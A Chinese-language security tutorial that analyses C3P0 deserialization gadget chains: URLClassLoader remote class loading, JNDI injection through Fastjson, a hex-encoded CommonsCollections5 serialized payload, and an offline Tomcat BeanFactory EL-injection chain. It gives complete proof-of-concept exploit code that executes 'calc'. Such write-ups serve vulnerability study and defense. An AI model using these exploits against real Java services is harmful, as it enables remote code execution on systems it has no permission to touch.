前言:

C3P0是一个开源的JDBC连接池,目前使用它的开源项目有Hibernate,Spring等。JDBC是Java程序访问数据库的标准接口。连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样能够复用句柄的技术就是池技术。

环境搭建:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

三种利用方式:

反序列化+URLClassLoader远程加载任意类:

PoolBackedDataSourceBase#readObject->ReferenceSerialized#getObject->
ReferenceableUtils#referenceToObject->URLClassLoader动态加载字节码->
利用链分析:

利用点在PoolBackedDataSourceBase类的writeObject与readObject。先看writeObject(),首先用try/catch尝试去序列化connectionPoolDataSource属性 。

而 connectionPoolDataSource 的类型是不可序列化的,所以会进入到catch中,然后实例化一个ReferenceIndirector对象,调用其indirectForm()。

跟进indirectForm(),它内部调用connectionPoolDataSource属性的getReference() ,返回的结果var2 又通过 ReferenceSerialized 类的构造方法赋值给 this.reference 变量。然后将ReferenceSerialized对象返回,该对象被序列化。

结合上文发现,this.reference可控(因为是返回值 var2)。而属性contextName默认为 null,且不可控。

那么只要创建一个类,它实现接口 Referenceable和 ConnectionPoolDataSource,然后该类重写的 getReference方法里实例化一个 Reference 对象即可满足上面的条件,所以Reference 类型var2的值可控。Reference的构造方法如下,实例化 Reference 对象时可控 classFactory 和 classFactoryLocation,下面构造payload 时有用到。

再看反序列化时的PoolBackedDataSourceBase#readObject() ,其中会调用getObject方法,结合上文可知,如果ReferenceSerialized对象被序列化到了序列流中,那这里就会是ReferenceSerialized#getObject。

而且只有静态类 ReferenceSerialized 实现了 IndirectlySerialized 接口。

跟进其 getObject 方法,这里调用了lookup ,但上面提到contextName 不可控,即不能JNDI 注入。然后调用了ReferenceableUtils#referenceToObject() ,参数this.reference 已经提前在序列化的时候就可控了。

跟进调用,获取可控类名 var4[fClassName],利用URLClassLoader,最后实例化远程恶意类。

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3pclassloaderdemo {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); 
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();

        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("test","test","http://127.0.0.1:9999/");
        }
    }
}
//反序列化时成功弹出计算器

最后的 sink 点类比,(恶意test类在9999端口):

import java.net.URL;
import java.net.URLClassLoader;
public class demo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://127.0.0.1:9999/");
        URLClassLoader loader = new URLClassLoader(new URL[]{url},demo.class.getClassLoader());
        Class clazz = Class.forName("test", true, (ClassLoader)loader);
        Object instance = clazz.newInstance();
        System.out.println(instance);
    }
}

总结:

攻击方先构造实现了接口ConnectionPoolDataSource和Referenceable接口的实例,使其重写的 getReference方法返回包含了恶意类和远程字节码地址的Reference对象,再将该实例作为 PoolBackedDataSourceBase 对象的connectionPoolDataSource属性值,然后序列化PoolBackedDataSourceBase 对象去生成 payload,由上文可知,生成过程中也会序列化ReferenceSerialized对象。然后当目标对payload反序列化时,会恢复ReferenceSerialized对象,调用ReferenceSerialized#getObject,最后触发URLClassLoader从Reference指定的远程地址加载恶意字节码,进而触发RCE。


JNDI注入:

这条链子依赖于Fastjson或Jackson。在fastjson,jackson等环境下,调用JndiRefConnectionPoolDataSource类的jndiname,logintimeout属性对应的setter方法,向jndiname传入恶意RMI服务器地址,然后调用logintimeout的setter方法最终造成JNDI注入。

JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->JndiRefForwardingDataSource#dereference() ->
Context#lookup

利用链分析:

JndiRefForwardingDataSource 类的dereference()方法中有lookup(),可造成JNDI注入。既然是JNDI注入,同样会受到JDK版本的限制。

继续向上找到调用点inner()

发现 inner() 都是通过setter和getter 方法进行调用。

下面找链子上半段。新来到JndiRefConnectionPoolDataSource的setLoginTimeout()​

因为wcpds是WrapperConnectionPoolDataSource类型的,所以会调用WrapperConnectionPoolDataSource的setLoginTimeout方法

这里会调用getNestedDataSource()生成对象,生成的就是JndiRefForwardingDataSource 对象。

然后来到JndiRefForwardingDataSource#setLoginTimeout(),正好与上面inner 开头的后半段连接起来。

import com.alibaba.fastjson.JSON;
public class JNDIDemo {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
        "\"jndiName\":\"ldap://127.0.0.1:1389/eee\",\"LoginTimeout\":\"1\"}";
        JSON.parse(payload);
    }
}

类比:

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
public class C3P02 {
    public static void main(String[] args)throws Exception {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("ldap://127.0.0.1:1389/eee");
        exp.setLoginTimeout(1);
    }
}


利用HEX字符串进行反序列化攻击:

该利用链能够反序列化一串十六进制字符串,实际利用需要有存在反序列化漏洞的组件,比如fastjson,SnakeYAML等。此Gadget适合在不出网环境下利用。fastjson等环镜下,当 userOverridesAsString属性可控时,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray()中调用readObject进行反序列化,造成反序列化漏洞。同SnakeYaml反序列化中的下面章节,是一个东西:

利用链分析:

后半部分利用链从C3P0ImplUtils.parseUserOverridesAsString 开始理解,当userOverridesAsString不为空则进入if,首先会用substring对userOverridesAsString进行截取,将HASM_HEADER头和最后一位扣掉。然后将十六进制转成字节数组,跟进fromByteArray()。

其中调用deserializeFromByteArray,然后触发原生反序列化。

import com.alibaba.fastjson.JSON;
public class HEXdemo {
    public static void main(String[] args) {
        String payload = "{" +
        "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
        "\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000005174002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A6563747371007E000B0000003371007E000D71007E000E71007E000F7371007E000B0000002274001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001A78737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E003200000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00327371007E002B7571007E002F00000002707571007E002F00000000740006696E766F6B657571007E003200000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002F7371007E002B757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078700000000174000463616C63740004657865637571007E00320000000171007E00377371007E0027737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878;\"," +
                "}";
        JSON.parse(payload);
    }
}


不出网利用:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.15</version>
</dependency>

不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标出网。而加载Hex字符串的方式虽然不用出网,但却要求有Fastjson等依赖。C3P0存在另一种不出网利用方式,但是也需要目标存在Tomcat8相关依赖,利用点在于 ReferenceableUtils#referenceToObject()中有调用getObjectInstance()

回顾在JNDI高版本利用中,我们可以加载本地的工厂类进行攻击,需要该工厂类至少存在一个getObjectInstance()方法,比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入。这里不出网的利用就是通过本地BeanFactory类来进行EL表达式注入。将上面利用方式一中 poc 中的getReference()改成EL表达式,其余不变。

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class nowebBeafactory {
    public static void main(String[] args) throws Exception{
        //反射修改connectionPoolDataSource属性值
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); 
        f1.setAccessible(true);
        f1.set(a,new evil());
        
        //序列化流写入文件
        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();

        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
    }
}}

调试:就是 jndi 注入时利用 BeanFactory类结合ELProcessor类绕过jdk高版本那一套。